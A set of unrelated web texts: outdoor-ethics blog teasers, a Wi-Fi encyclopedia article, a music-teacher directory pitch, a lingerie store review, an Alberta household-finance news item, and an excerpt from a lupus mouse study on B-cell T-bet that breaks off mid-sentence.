-Wilderness Words: Broadcasting Jan 20, 2019 Snowshoe, WV: When you’re cooking dinner or washing dishes at camp, you’re going to have dirty water. Broadcasting is a quick way to dispose of that grey water, dispersing the impact across a wide area. Just strain, stroll and... : When you’re cooking dinner or washing dishes at camp, you’re going to have dirty water. Broadcasting is a quick way to dispose of that grey water, dispersing the impact across a wide area. Just strain, stroll and... Read More How To Leave No Trace On The Crag Jan 16, 2019 Reno, NV: Climbing areas can receive significant use and so significant impacts. Practicing Leave No Trace ethics while climbing can aid in the conservation of these areas, keep climbing access available, and promote a positive... Climbing areas can receive significant use and so significant impacts. Practicing Leave No Trace ethics while climbing can aid in the conservation of these areas, keep climbing access available, and promote a positive... Read More  5 Leave No Trace Tips for Winter Trips Jan 11, 2019 Reno, NV: Winter is a great time to get outside and enjoy nature, but it can also make your favorite outdoor spaces even more susceptible to harmful impacts. Here are 5 things you should always consider on a winter trip to help... Winter is a great time to get outside and enjoy nature, but it can also make your favorite outdoor spaces even more susceptible to harmful impacts. Here are 5 things you should always consider on a winter trip to help... Read More Leave No Trace Guidance During Government Shutdown Jan 09, 2019 You’ve read the disturbing stories reported from our national parks, now that the partial government shutdown has moved into January. The situation is serious: Wildlife picking through bins piled high with trash, latrines overflowing with waste and... Read More
-History Edit  Etymology and terminology Edit  Wi-Fi certification Edit  Versions Edit  There are many different versions of Wi-Fi: 802.11a, 802.11b, 802.11g, 802.11n (Wi-Fi 4[40]), 802.11h, 802.11i, 802.11-2007, 802.11-2012, 802.11ac (Wi-Fi 5[40]), 802.11ad, 802.11af, 802.11-2016, 802.11ah, 802.11ai, 802.11aj, 802.11aq, 802.11ax (Wi-Fi 6[40]), 802.11ay. Generation IEEE Standard Maximum Linkrate Wi‑Fi 6 802.11ax 600–9608 Mbit/s Wi‑Fi 5 802.11ac 433–6933 Mbit/s Wi‑Fi 4 802.11n 72–600 Mbit/s Equipment frequently support multiple versions of Wi-Fi. To communicate, devices must use a common Wi-Fi version. The versions differ between the radio wavebands they operate on, the radio bandwidth they occupy, the maximum data rates they can support and other details. In general, lower frequencies have better range but have less capacity. Some versions permit the use of multiple antennas, which permits greater speeds as well as reduced interference. Historically, equipment has listed the versions of Wi-Fi that it supports, but the Wi-Fi alliance has now standardised generational numbering so that equipment can indicate that it supports Wi-Fi 4 (if the equipment supports 802.11n), Wi-Fi 5 (802.11ac) and Wi-Fi 6 (802.11ax). The alliance have stated that the generational level 4, 5, or 6 can be indicated in the user interface when connected, along with the signal strength.[40]  Uses Edit  Wi-Fi radio spectrum Edit  Main article: list of WLAN channels The 802.11 standard provides several distinct radio frequencies ranges for use in Wi-FI communications: 900 MHz, 2.4 GHz, 3.6 GHz, 4.9 GHz, 5 GHz, 5.9 GHz, and 60 GHz bands.[56][57][58] Each range is divided into a multitude of channels. Countries apply their own regulations to the allowable channels, allowed users and maximum power levels within these frequency ranges. The ISM band ranges are also often used.[59] 802.11b/g/n can use the 2.4 GHz ISM band, operating in the United States under Part 15 Rules and Regulations. In this frequency band equipment may occasionally suffer interference from microwave ovens, cordless telephones, USB3.0 hubs, and Bluetooth devices. Spectrum assignments and operational limitations are not consistent worldwide: Australia and Europe allow for an additional two channels (12, 13) beyond the 11 permitted in the United States for the 2.4 GHz band, while Japan has three more (12–14). In the US and other countries, 802.11a and 802.11g devices may be operated without a license, as allowed in Part 15 of the FCC Rules and Regulations. A standard speed Wi-Fi signal occupies five channels in the 2.4 GHz band. Any two channel numbers that differ by five or more, such as 2 and 7, do not overlap. The oft-repeated adage that channels 1, 6, and 11 are the only non-overlapping channels is, therefore, not accurate. Channels 1, 6, and 11 are the only group of three non-overlapping channels in North America. However, channels that are four apart interfere a negligible amount, much less than reusing channels.[60] In Europe and Japan where channel 13 is available, using Channels 1, 5, 9, and 13 for 802.11g and 802.11n is recommended. 802.11a/h/j/n/ac/ax can use the 5 GHz U-NII band, which, for much of the world, offers at least 23 non-overlapping 20 MHz channels rather than the 2.4 GHz ISM frequency band, where the channels are only 5MHz wide. The 5GHz bands are more strongly absorbed by common building materials, and usually give shorter range. As the 802.11 specifications evolved to support higher throughput, the bandwidth requirements also increased to support them. 802.11n can use double the radio spectrum/bandwidth (40 MHz- 8 channels) compared to 802.11a or 802.11g (20 MHz). 802.11n can also be set to limit itself to 20 MHz bandwidth to prevent interference in dense communities.[61] In the 5 GHz band, 20, 40, 80 and 160 Mhz bandwidth signals are permitted with some restrictions, giving much faster connections.  Communication stack Edit  Performance Edit  Multiple access points Edit  Increasing the number of Wi-Fi access points for a network provides redundancy, better range, support for fast roaming and increased overall network-capacity by using more channels or by defining smaller cells. Except for the smallest implementations (such as home or small office networks), Wi-Fi implementations have moved toward "thin" access points, with more of the network intelligence housed in a centralized network appliance, relegating individual access points to the role of "dumb" transceivers. Outdoor applications may use mesh topologies. An Extended Service Set may be formed by deploying multiple access points that are configured with the same SSID and security settings. Wi-Fi client devices will typically connect to the access point that can provide the strongest signal within that service set.  Hardware Edit  Network security Edit  Health concerns Edit  Alternatives Edit  A number other "wireless" technologies provide alternatives to Wi-Fi in some cases: Bluetooth, short distance network  Bluetooth Low Energy, a low-power variant  Zigbee, low-power, low data rate, and close proximity  Cellular networks, as used by smartphones  WiMax, provide wireless internet connection from outside individual homes Some alternatives are "no new wires", re-using existing cable: G.hn over existing home wiring, such as phone and power lines There are also several wired technologies for computer networking which in some cases will be viable alternatives, in particular: Ethernet over twisted pair  See also Edit  References Edit
-Gogigz - stop searching and start teaching. Make it easy for music students to find you by joining our free online music teacher directory.  Gogigz is an online platform that enables music students to connect with music teachers instantly.  Our mission is to organize all music teachers from any geographic area in one accessible online platform so that music students can find and connect with teachers based on the criteria that matters to them most.  FAQ:  What happens after I fill out this form?  - You'll be entering a directory of music teachers which will be available online -- students looking for music lessons will be able to find and contact you.  Will I be able to see the directory?  - Of course, we'll be publishing it all over social media/craigslist and other outlets. You can stop searching and start teaching.  What's next for Gogigz?  - As of November 2017, we are participating in TheHive Accelerator program and plan to have an app available to the general public within the next 1-2 months. Stay tuned!  What can I do to help?  - All that we ask is that you help spread the word by sharing this form.
-I’m currently in the UK, and while there is plenty of history and culture to take in, naturally I’m all about the full bust bra offerings. Top on the list of UK retailers for me is Bravissimo. Whenever I’m in the UK, I try my best to figure out a way to visit one of their stores. Yes, this is a brick and mortar store that sells a wide range of fuller bust brands, including their own house brand. Luckily I have been able to shop there about once or twice a year for the past few years. This week I returned to the Bravissimo store in Cheltenham for the second year in a row and thought it would be a good time to write up a store review regarding my experience there, which was an overall positive one.  Location  The Bravissimo store in Cheltenham is a combined Bravissimo (D+ bras) and Pepperberry (bust-friendly clothing) store in the Regent Arcard, an indoor mall in a convenient city center location. Unfortunately, due to time constraints, I had just about 45 minutes to shop and only got through one set of try-ons at Bravissimo in my limited time window. Boo. I didn’t have time to look in the Pepperberry store at all, which is located downstairs from the Bravissimo. It was a dedicated trip just for bras, but dependent on my partner’s patience, which wears thin after about 20 minutes … but I digress.  As an aside, Cheltenham is actually worth a visit in itself. I find it to be one of the better appointed shopping destinations in the area, with interesting architecture and a comfortable bustle characteristic of university towns.  Now, on to Bravissimo …  Selection  The Cheltenham store is fairly large and very well-stocked. The bras on display are organized largely by type and color, with all brands mixed in together. The center of the store has a wide variety of bras of all brands, colorways and cuts. A wall to the side has all blacks in one panel and nudes beside it. There is also a small stand for bridal-type bras in whites and creams. Not pictured is a section at the rear of the store with sports bras, swim and sleepwear. I wish I had time to venture in there, as I’m curious to try some of their shelf-bra sleep tops. But that will have to wait for another day.  Great selection Black bras  In terms of stock and selection, it far exceeds my local Nordstrom – a comparatively large flagship store – with the size availability (including 28-bands on the rack!) and variety. Lightly padded half cups, unlined plunges, balconettes, demis, strapless, longlines, and the latest styles from Freya, Panache, Curvy Kate, Lepel, Gossard, and Bravissimo’s own brands and more abound, all neatly hung and easy to browse. It’s a candy store for bra lovers. Since I like discovering new bras, it’s great to see such a varied selection. If I were local, I could see visiting the store often to check out what’s new.  I think there are maybe half a dozen fitting rooms in a short corridor to the side of the store. There is also a small but comfortable seating area with sofas and armchairs outside for those who might be waiting while the boob magic happens behind closed doors.  Apologies for the cell phone photos and that I didn’t get to take that many interior shots because I wanted to spend more time trying on bras!  Shopping Experience  I always have a mental list of bras that I’d try on if only I could find a store that carried them. It was great to see many of these hanging in the window as I stepped off the escalator. That’s the most satisfying part of the Bravissimo experience. They have the bras! Maybe not all of them, but usually a good few from the top of my wishlist. It’s such a relief from the daunting prospect of buying online, having to order multiple sister sizes, pay for return shipping, re-ordering, waiting and so on. Since my local Nordstrom doesn’t even carry 28s, I literally haven’t shopped for everyday bras in person outside the UK in over a year. At Bravissimo, I’m not sized out, and no one bats an eye when I ask for a 28. It’s a beautiful thing.  Now, last year when I first visited the Cheltenham store, I had one or two bras in mind that I wanted to try on, but mostly I let the sales associate pull some styles for me based on my specifications since I was wasn’t at all sure what to get. This didn’t work out so well with the associate bringing me tons of bras that I had already tried elsewhere and were mostly shape mismatches. I was a 30G/GG then and am wearing a 28FF/G now. Given that I had less than an hour on this trip, I decided to go in with a specific shortlist and only deviate if I had the time. I almost kept to this plan, which is fairly amazing given the selection. To be honest, the number one reason I just had to go to Bravissimo while I was in the UK was to try on the Etta Longline (review coming soon!). I have been dying to try it since it was released.  When I entered the store and began looking around, within less than a minute, a friendly sales associate greeted me and asked if I needed any help. I wanted to browse first, so she told me to let someone know if I needed any assistance. Simple. No pressure to get fitted off the bat or pushy sales bumph. I had a quick walk around, checking to see if they had the bras on my list. I really wanted to look at every. single. bra. I spied a few Bravissimo house brand ones that I didn’t know about and wish I had the time to try on, like the cheerful Esther longline. Unfortunately, I could feel the time ticking away, so I chose carefully and still ended up with too many.  While there are a lot of bra and panty sets hanging up around the store, only a limited size range is actually on the rack, which makes sense due to limited space. I think ettiquette-wise it’s fine to pull your own size if you see it, but generally it seems to be the case that you ask a sales associate to get what you’re interested in and bring it to the fitting room for you. I also recommend asking for any additional styles that might not be on the rack. For example, only one Freya padded half cup bra was on display – Kiyoko – which didn’t interest me, but the associate was able to bring me two different ones from the back – Strawberry Fields and Utopia.  Once I had confirmed my selections, I asked a sales associate for help finding them in my size. When she saw that I was on a longline kick, she recommended the new Cleo Piper unlined longline. I mention it here because I know a lot of people have been anticipating it and the cobalt blue truly is gorgeous in person. It absolutely does not disappoint. I didn’t try it on, though, as it’s not a bra that interests me. I don’t really wear anything unlined. However, Bravissimo is one of the few places where you’ll see one in the flesh. Here she is:  When asking for my chosen bras to be brought to a fitting room, I explained that the 28Gs I am currently wearing have started getting loose in the cups, so I wanted to try most of the bras in a 28FF. A few minutes later, the associate appeared with my selections and took me to the fitting room.  The “Fitting”  When we got to the fitting room, she explained that she brought everything I asked for in a 28G to start with. Okay, no big deal I guess, but I know that my 28Gs at the moment are gaping due to recent weight loss, which I had explained when requesting 28FFs. I felt like that was a bit of a waste of time. That said, the fitter might have considered that my current bras were just worn out and not the wrong size and wanted to check for herself. Regardless, I had never tried a padded Bravissimo bra and nothing from them in size 28G, so when she handed the bras over, I went straight for Etta to get started.  Before I had even finished scooping and swooping, there was a knock on the door asking how I was getting on. It couldn’t have been more than a minute and a half after I closed the fitting room door. Truth be told, unless I’m having a fit issue or I’m really unsure and want a second opinion, I don’t need a fitter’s help at this stage in the game. I am also still not 100% comfortable with standing in a bra in front of a stranger. But I wanted to get a full experience for the purpose of this review and to compare it to last year’s trip to the same store. So I let her have a look at Etta in 28G and she agreed to bring a smaller cup size in that bra while I tried the others.  Before I had the straps up on the next bra, there was a knock on the door again. That was really too fast for me, but she had the next Etta, so again I let her in to see how I was getting on. She checked the fit of the bra that I had hastily pulled on and helped me to adjust the straps, checking that the band size was right and the cups were lying well, before determining that a smaller cup might help with some gaping. Full points to Bravissimo for a well-trained fitter. She was professional, thorough, quick and listened to my concerns.  When she left to fetch me another smaller size, I went for bra #3. The knock came before I even had my boobs in the cups. Even though I had limited time, I began to feel too rushed between bras, so I let her know that I just needed a few more minutes. If anything, my only criticism of my experience this year and last year alike was the timing of the sales associate when I was in the fitting room. The store wasn’t crowded or anything. It takes me some time to get a bra on and then see and feel how it fits. I can’t do that if I only have 1-2 minutes to try on a bra and then the fitter comes back and removes the bras I tried for a mere 30 seconds.  I can be a little shy in customer situations, so asking for more time was my attempt at being more vocal. It may have backfired, though, as for the rest of the time I was in the fitting room, she didn’t come back to check on me. At all.  That said, this is exactly the same thing that happened last year with a completely different fitter: a lot of quick knocks at the beginning, then nothing for ages. On this visit, I was there for another 25 minutes and no one ever came back to help me. At one stage, I had to peek my head out of the fitting room door and get another associate who was helping a different customer to chase down my fitter. Then, when I wanted a final opinion on the fit of the bra I was definitely going to buy, she had disappeared again. I couldn’t wait for her any longer and had to get dressed and go out onto the floor to try to find someone.  In the end, I discussed my options with the associate at the checkout desk since they didn’t have the bra I wanted in the colorways and/or sizes I needed and left empty-handed (much to the dismay of my partner for whom the 45 minutes had felt like enough time to manufacture my own bras from scratch). For me the time flew by and there were tons more bras I wanted to try.  I ended up ordering on their website to pick up the bra I wanted in the store a few days later using their Click & Collect service. My purchase turned out to be my first fitting Cleo bra ever. I’ll be posting a review shortly!  Update: Since I started writing this post, I went back to pick up my order. That process went smoothly except that I ended up exchanging the item I ordered for another colorway. More on that soon.  Conclusions about Bravissimo in Cheltenham  I consider Bravissimo to be probably the best full bust shopping destination in the UK. Even though I am sure that there are competent local boutiques around the country and I know that there are a lot of UK-based websites with great prices and a lot of stock (because I order from them all the time), the fact that Bravissimo is a chain with so many brands and styles in-store all the time makes it super accessible. The fitters are knowledgeable and their stores are a pleasure to browse and shop in. I have no hesitation to recommend Bravissimo in Cheltenham if you happen to be in the area.  In my experience, the way that they “fit” you at Bravissimo is to put you in a bra at or near to the size that you say fits best and then to troubleshoot by eye from there. This suits me fine as I prefer not to be attacked with a tape measure. So far, I have found the fitting knowledge of all the fitters I’ve had to be very good. They recognize the signs of a good fit, like a tacking gore, cups lying flat against the skin across the top, a band that is snug but not overly tight, straps not digging in, and so on. If I mention gore and wire widths and cup heights and other common issues that I have, they listen and take it all in.  When I shop for bras in person (admittedly a rarity since hardly anyone carries 28-bands), I am reminded that not everyone is as bra obsessed as myself and other denizens of the online bra fitting community. Having researched hundreds of bras online, I come into a fitting knowing most of the bras on the rack inside-out. I tend to call all the bras by their names and of course know which recommendations won’t work because I’ve tried so many of them already. The sales assistant that I asked for the Etta longline had to check the tag to confirm the name and another mistakenly called it the Satine longline (because it’s based on the popular Satine plunge by Bravissimo). We got there in the end, but I realized afterwards that just because I know every Freya half cup that is a 3-part vs. 4-part, or a Patsy-clone vs. a Lauren-clone, doesn’t mean that’s part of everyone’s repertoire.  Still, given the really wide selection of bras, I would say the fitters and employees are the most knowledgeable of any other b&m lingerie store I’ve been to. On top of that, everyone at Bravissimo in Cheltenham is really very nice, friendly, patient and accommodating. When present, my fitter was helpful and right on point about the bras and sizing. When they sadly didn’t have the Etta Longline in my size, she let me try one cup below just to confirm a likely fit and informed me about how to order it. (I later found out that the Etta in 28FF was hanging right on the shelf, but the fitter had overlooked it. Sadness.)  For all of these reasons, I would definitely recommend stopping into a Bravissimo store if you’re in or passing through the UK. It’s certainly worth it. In the meantime, for my fellow Americans, I will continue pestering them to open stores in the US (which they have no plans to do, no matter how often I ask).
-Nearly half of Albertans are living paycheque to paycheque, according to a national payroll survey that paints a grim economic picture for many people in this province.  Both nationally and in Alberta, 48 per cent of people say it would be difficult to meet their financial obligations if their paycheque was delayed by a single week, according to the survey by the Canadian Payroll Association.  Alberta also has the largest percentage of people who say they are not saving enough for retirement.  A whopping 81 per cent of residents say they have put aside less than a quarter of what they will need in retirement — higher than the national average of 75 per cent.  And 25 per cent report they probably could not come up with $2,000 if an emergency arose within the next month.  Emergency savings account important  Mark Kalinowski, who works with the Credit Counselling Society in Calgary, sees many who are sinking under the weight of their debt.  "If I were going to make a suggestion to people, I would definitely suggest that they start emergency savings accounts," he said.  Kalinowski sees clients from every economic bracket, but has also seen a recent jump in middle-income workers.  But the report says the economic outlook is bleak, as many employees do not expect their financial situation to get better any time soon. Just 33 per cent nationally and 36 per cent in Alberta expect the economy to improve over the next year.  Meanwhile, 40 per cent say they feel overwhelmed by debt. The survey covered 3,600 workers nationally, including 447 from Alberta, and was conducted in July.
-Generation of autoimmune-prone mice with a B cell–specific deletion of T-bet. B6.SLE1,2,3 mice (referred to hereafter as SLE mice) were used as a model of spontaneous lupus-like autoimmunity. These mice express intervals of chromosomes 1, 4, and 7 derived from NZM2410 animals on the C57BL/6 background. These genetic intervals have been shown to drive lupus-like disease since SLE, unlike B6, animals contain activated lymphocytes, autoantibodies, and develop glomerulonephritis, with a female bias (21–23). We confirmed that, like other mouse models of SLE, SLE mice accumulate T-bet+ ABCs (Figure 1 and ref. 7).  Figure 1 Generation of SLE × T-betfl/fl × CD19Cre/WT mice. Representative FACS plots and quantification of the frequency of T-bet+ B cells in spleens of 4-month-old C57BL/6, SLE × T-betfl/fl × CD19Cre/WT, and SLE × T-betfl/fl × CD19WT/WT littermate controls. Numbers represent the percentage of cells in the gates. B cells were gated as live, B220+CD19+CD4–CD8–. n = 4 mice per group. Data are presented as mean ± SEM and are representative of more than 5 independent experiments. *P < 0.05 by unpaired 2-tailed Student’s t test.  To study the effect of T-bet expression in B cells in autoimmunity, we intercrossed CD19Cre/WT and T-betfl/fl with SLE mice, generating SLE × T-betfl/fl × CD19Cre/WT mice. This strain contains all of the intervals (from chromosomes 1, 4, and 7) necessary for predisposition to autoimmunity and lacks T-bet expression in B cells. The successful transfer of all intervals specific for SLE mice was checked by PCR (see Methods). B cell–specific T-bet deletion in the SLE × T-betfl/fl × CD19Cre/WT mice was confirmed by both PCR and intracellular staining (Figure 1). We confirmed that the T-bet deletion was B cell specific and that T cells continued to express normal levels of T-bet (data not shown).  Thus, we have successfully generated autoimmune-prone mice with a B cell–specific T-bet deletion.  In these animals Cre is driven by the CD19 promoter with concomitant deletion of CD19; thus, B cells in such mice are heterozygous for expression of CD19. To check that this did not affect disease onset, we confirmed that autoimmunity occurred similarly in SLE × CD19WT/WT and SLE × CD19Cre/WT animals (data not shown), so SLE × T-betfl/fl × CD19WT/WT littermate controls were used for all experiments.  In the absence of T-bet in B cells, SLE mice demonstrate improved kidney function and better survival rates. First we asked whether T-bet expression in B cells was required for the development of kidney pathology, a definitive measure of organ pathology in lupus. First, we measured proteinuria levels in SLE mice with or without T-bet expression in B cells. SLE mice in our facility develop proteinuria by 7 months of age; therefore, we tested 7-month-old mice for the presence of proteinuria. The data indicate that the proteinuria score was significantly reduced in the absence of T-bet–expressing B cells (Figure 2A). The mice were subsequently tested again until they were 12 months old. Only one additional SLE × T-betfl/fl × CD19Cre/WT mouse (out of 9) developed proteinuria during this time frame, indicating that development of proteinuria was prevented rather than delayed in SLE mice with B cell–specific T-bet deletion (Supplemental Figure 1; supplemental material available online with this article; https://doi.org/10.1172/JCI91250DS1).  Figure 2 B cell–specific T-bet expression is responsible for the development of kidney pathology and rapid mortality in lupus-like autoimmunity. (A) Proteinuria scores of 7-month-old mice (1 = trace, 2 = 30 mg/dl, 3 = 100 mg/dl, 4 ≥ 500 mg/dl). (B–D) Kidney sections from 12-month-old mice were stained with periodic acid–Schiff from SLE × T-betfl/fl × CD19Cre/WT (B), and SLE × T-betfl/fl × CD19WT/WT (C), and C57BL/6 (D) mice. A representative glomerulus is shown in each section. Arrowheads indicate glomeruli. Hypercellularity and endocapillary proliferation were seen in most glomeruli from the SLE × T-betfl/fl × CD19WT/WT mice. Original magnification, ×400. (E) Twenty-five glomeruli for each mouse were evaluated in a blinded analysis in kidney sections. The percentage of affected glomeruli is shown for each individual mouse. (F–H) Five kidneys of 12-month-old mice per genotype were analyzed by immunofluorescence histology (IFH). Representative IFH staining of kidney glomeruli stained with anti-IgG (red) and anti-C3 (green) is shown for: SLE × T-betfl/fl × CD19Cre/WT (F), SLE × T-betfl/fl × CD19WT/WT (G), and C57BL/6 (H) mice. Scale bars: 50 μm. (I) Survival of SLE × T-betfl/fl × CD19Cre/WT, and SLE × T-betfl/fl × CD19WT/WT littermate control mice was followed over the same 12 months (n = 10 mice per group). Comparison of the survival curves and statistical analysis were performed using Prism software. *P < 0.05. Significance determined by Student’s t test (A and E) or Gehan-Berslow-Wilcoxon test (I).  To further evaluate kidney disease in the mice, the kidney glomeruli of SLE × T-betfl/fl × CD19Cre/WT and SLE × T-betfl/fl × CD19WT/WT littermate controls were evaluated by a blinded expert observer. The kidneys were obtained at the time of sacrifice when the mice were 12 months old, or earlier if the mouse exhibited high proteinuria and/or lost 10% of body weight. The results, shown in Figure 2, B–E, indicate that approximately 80% of glomeruli demonstrated hypercellularity and endocapillary proliferation in SLE × T-betfl/fl × CD19WT/WT littermate controls. In contrast, less than 30% of the glomeruli were affected in the SLE × T-betfl/fl × CD19Cre/WT mice.  To confirm that the kidney pathology was associated with immune complex deposition, immunofluorescence histology was performed. Kidney sections were stained with anti-IgG and anti-C3 antibodies to detect immune complex deposition. Our results indicate that, in the absence of T-bet expression in B cells, SLE mice contained less immune complex formation in the kidneys since the size and/or intensity of IgG/C3 stained glomeruli were significantly reduced (Figure 2, F–H).  Together, these data indicate that T-bet expression in B cells plays a critical role for the development of kidney pathology during lupus-like autoimmunity.  Improved survival of SLE mice with B cell–specific T-bet deletion. Since kidney failure is the major cause of death of SLE mice, we asked whether the improved kidney function in SLE × T-betfl/fl × CD19Cre/WT animals also affected their mortality rates. As demonstrated in Figure 2I, the survival of SLE mice was dramatically improved in the absence of T-bet expression in B cells when compared with littermate controls. Only 25% of T-bet–sufficient SLE mice survived until 12 months of age when, in contrast, 90% of SLE mice with B cell–specific T-bet deletion survived until the same age (Figure 2I). This finding demonstrates that T-bet expression in B cells plays a critical role in the development and the consequences of lupus-like autoimmunity.  Overall our data demonstrate that T-bet expression in B cells is essential for the development of kidney pathology and rapid mortality in SLE mice.  B cell–specific T-bet deletion leads to reduced titers of serum IgG2a in SLE mice. Next we asked which changes in the immune system lead to the improved kidney function and reduced mortality in SLE mice that lack B cell–intrinsic T-bet. Multiple groups have previously reported that T-bet expression in B cells is critical for switching B cell isotype expression to IgG2a/c (described herein as IgG2a) (24–26). Therefore, we measured the presence of different IgG subclasses in the sera of SLE × T-betfl/fl × CD19Cre/WT mice compared with SLE × T-betfl/fl × CD19WT/WT littermate controls. Figure 3A demonstrates that the serum concentrations of total IgG were comparable between the experimental and control animals; however, the isotype distribution was altered in the absence of T-bet expression in B cells. In particular, as predicted by previous reports (25–27), in the absence of T-bet+ B cells there was a significant reduction in IgG2a levels, such that it decreased to levels seen in normal C57BL/6 animals. This was accompanied by increased levels of IgG2b and IgG1 in SLE × T-betfl/fl × CD19Cre/WT mice compared with their Cre-negative littermate controls.  Figure 3 B cell–specific T-bet deletion delays the appearance of autoantibodies in SLE mice. (A) Concentrations of total or different subclasses of IgG in the serum of 4-month-old C57BL/6 or SLE × T-betfl/fl × CD19Cre/WT and SLE × T-betfl/fl × CD19WT/WT littermate controls (n = 5). Data are presented as mean ± SEM. *P < 0.05 by 1-way ANOVA followed by Newman-Keuls analysis. (B and C) Titers of anti-chromatin total IgG (B) or IgG2a (C) in the serum of SLE × T-betfl/fl × CD19Cre/WT (red) and SLE × T-betfl/fl × CD19WT/WT (black) littermate controls at different ages as indicated (n = 10–12 mice per group). P values for B and C were calculated using 2-way ANOVA. **P < 0.01, ***P < 0.001. NS, not significant.  B cell–specific T-bet deletion leads to reduction of autoantibodies in SLE mice. The presence of high titers of autoantibodies is essential for the development of kidney failure during the development of lupus-like autoimmunity. Therefore, next we evaluated how T-bet expression in B cells affected the development of autoantibodies. We monitored the appearance, over time, of serum anti-chromatin IgG levels in the SLE mice in the absence or presence of T-bet expression in B cells. The appearance of anti-chromatin total IgG autoantibodies (Figure 3B) and of anti-chromatin IgG2a in particular (Figure 3C) was significantly delayed in the absence of T-bet expression in B cells, when compared with littermate controls. The difference was most marked when the mice were 5 months old. However, later in life, the difference between the SLE × T-betfl/fl × CD19Cre/WT and SLE × T-betfl/fl × CD19WT/WT control mice lessened, although the titers in T-bet–deficient animals were still significantly lower than those in mice containing T-bet+ B cells. This suggests that another transcription factor (or a combination of transcription factors) can compensate for the lack of T-bet expression in B cells, leading to the activation of autoreactive B cells and their production of autoantibodies. One of the obvious candidates for such a transcription factor is EOMES, which has been reported to compensate for lack of T-bet expression in T cells (28). However, we were unable to detect EOMES expression in T-bet–deficient B cells (data not shown), suggesting the involvement of some other yet unknown transcription factor.  B cell–specific T-bet deletion affects both B and T cell compartments during autoimmune responses. To find out why the absence of T-bet expression in B cells led to the delayed appearance of autoantibodies and reduced kidney damage, we compared the B cell compartments of SLE × T-betfl/fl × CD19Cre/WT and SLE × T-betfl/fl × CD19WT/WT littermate control mice. Our data indicate that the absence of T-bet expression in B cells correlated with a reduction in frequencies and numbers of CD11c+ B cells (Figure 4A). Surprisingly, we detected significantly lower frequencies and numbers of GC B cells in mice with a B cell–specific deletion of T-bet (Figure 4B).  Figure 4 Reduced appearance of CD11c+ ABCs, GC B cells, and early plasmablasts in SLE mice with B cell–specific T-bet deletion. Representative FACS plots and quantification of the frequency of (A) CD11c+ B cells, (B) GC B cells, and (C) early plasmablasts in the spleens of 4-month-old C57BL/6 (white bars), SLE × T-betfl/fl × CD19Cre/WT (red bars), and SLE × T-betfl/fl × CD19WT/WT (black bars) mice. B cells were gated as live, B220+CD19+CD4–CD8–. Bar graphs represent mean ± SEM (n = 4 mice per group, representative of 3 independent experiments). *P < 0.05, **P < 0.01, ***P < 0.001 by 1-way ANOVA followed by Newman-Keuls analysis. NS, not significant.  Our data also demonstrate significant reduction in frequencies and numbers of early plasmablasts in SLE × T-betfl/fl × CD19Cre/WT mice compared with littermate controls (Figure 4C).  Together these data indicate that, in the absence of their T-bet expression, B cells fail to facilitate the formation of GCs during spontaneous autoimmune responses and do not differentiate into plasmablasts, a failure that probably results in decreased autoantibody production.  Antigen (Ag) presentation by B cells plays an important role in spontaneous T cell activation during autoimmune responses (29). Moreover, it has been previously demonstrated that T-bet+ ABCs are potent Ag-presenting cells (14); therefore, the absence of T-bet expression in B cells might affect T cell activation in autoimmunity. To test this hypothesis, we evaluated the T cell compartments in SLE mice in the presence or absence of T-bet expression in B cells. Our data indicate that there was a significant reduction in the percentage and numbers of activated/memory CD4+ T cells but not of CD8+ T cells in the absence of T-bet–expressing B cells (Figure 5, A and B). On the other hand, the percentages and numbers of IFN-γ–producing CD4+ T cells were not affected by the absence of T-bet–expressing B cells, whereas the percentages (but not absolute numbers) of IFN-γ+CD8+ cells did drop significantly (Figure 5, C and D).  Figure 5 Reduced T cell activation in SLE mice with B cell–specific T-bet deletion. Representative FACS plots and quantification of the frequency of (A) activated/memory CD4+ T cells, (B) activated/memory CD8+ T cells, (C) IFN-γ+ CD4+ T cells, and (D) IFN-γ+ CD8+ T cells in the spleens of 4-month-old C57BL/6 (white bars), SLE × T-betfl/fl × CD19Cre/WT (red bars), and SLE × T-betfl/fl × CD19WT/WT (black bars) mice. T cells were gated as live, B220–, CD19–, CD4+ (or CD4–), CD8+ (or CD8–). Bar graphs represent mean ± SEM (n = 4 mice per group, representative of 3 independent experiments). *P < 0.05, **P < 0.01, ***P < 0.001 by 1-way ANOVA followed by Newman-Keuls analysis. NS, not significant.  GC B cells, preplasmablasts, and activated T cells do appear in aged SLE × T-betfl/fl × CD19Cre/WT mice (>7 months old) (Supplemental Figure 2), which is in line with our observation of the delayed appearance of autoantibodies in these mice (Figure 3), suggesting that the autoimmune response is substantially delayed in SLE mice in the absence of T-bet–expressing B cells.  Overall, these data indicate that T-bet expression in B cells during spontaneous autoimmune responses is critical for B cell activation and generation of GC B cells and early plasmablasts (CD44+CD138+). Moreover, T-bet expression in B cells is also required for the efficient T cell activation during an autoimmune response, perhaps via its effect on B cell Ag-presenting abilities. These changes in B and T cell activation ultimately lead to the reduced titers of autoantibodies and reduction in immune complex formation and deposition in kidneys, which in turn improves the survival of SLE mice.  B cell–intrinsic T-bet expression is critical for the development of spontaneous GCs during autoimmunity. The low frequency of GC B cells in SLE × T-betfl/fl × CD19Cre/WT mice (Figure 4B) suggests that the animals might have impaired formation of spontaneous GCs. To test this, we confirmed by histological analysis of spleens that SLE × T-betfl/fl × CD19Cre/WT mice exhibited a defect in the formation of spontaneous GCs when compared with littermate controls (Figure 6, A–C).  Figure 6 T-bet expression in B cells is required for the formation of spontaneous GCs, but is dispensable for the formation GCs following deliberate immunization. (A–C) Representative immunofluorescent staining of 5 spleen sections obtained from (A) SLE × T-betfl/fl × CD19Cre/WT, (B) SLE × T-betfl/fl × CD19WT/WT, or (C) C57BL/6 mice. (D) Percentage of GC B cells identified by FACS as B220+CD19+CD4–CD8–GL7+CD95+ and (E–G) representative immunofluorescent staining of spleens sections obtained from (E) T-betfl/fl × CD19Cre/WT, (F) T-betfl/fl × CD19WT/WT mice immunized with NP-CGG and alum (day 11) (n = 4 mice per group), or (G) naive C57BL/6 mice. n = 4 mice per group, representative of 3 independent experiments. Scale bars: 100 μm. *P < 0.05, **P < 0.01 by 1-way ANOVA followed by Newman-Keuls analysis. NS, not significant; PNA, peanut agglutinin.  A requirement for T-bet expression in B cells in the formation of GCs was unexpected. Therefore, we wondered whether this requirement was common to all circumstances leading to the creation of GCs, or applied only to their appearance in spontaneous autoimmunity. To answer this question we immunized T-betfl/fl × CD19Cre/WT and T-betfl/fl × CD19WT/WT mice with a conventional protocol involving nitrophenylated chicken γ globulin (NP-CGG) with alum, and analyzed for the presence of GCs in spleens 10 days after immunization. As demonstrated in Figure 6, the absence of T-bet expression in B cells did not affect the appearance of GC B cells (Figure 6D) or GCs (Figure 6, E–G) in response to deliberate immunization with Ag plus an adjuvant.  Together, these data 